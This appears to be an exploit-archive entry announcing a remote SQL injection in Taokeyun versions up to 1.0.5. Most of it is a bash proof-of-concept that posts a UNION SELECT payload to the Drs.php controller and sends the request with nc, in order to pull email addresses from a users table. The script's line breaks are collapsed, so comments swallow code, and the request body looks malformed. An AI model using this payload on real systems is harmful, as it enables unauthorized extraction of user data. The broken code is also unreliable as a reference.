Headline
Taokeyun SQL Injection
Taokeyun versions up to 1.0.5 suffers from a remote SQL injection vulnerability.
Change Mirror Download
#!/bin/bash# Variablesurl="http://example.com/path/to/taokeyun/application/index/controller/m/Drs.php"cid="1' UNION SELECT 1,2,3,4,5,6,7,8,9,email FROM users-- -"# Construct the requestrequest="POST $url HTTP/1.1\r\n"request+="Content-Type: application/x-www-form-urlencoded\r\n"request+="Content-Length: $((${#cid}+15))\r\n\r\n"request+="$cid"# Send the request(echo -e "$request") | nc example.com 80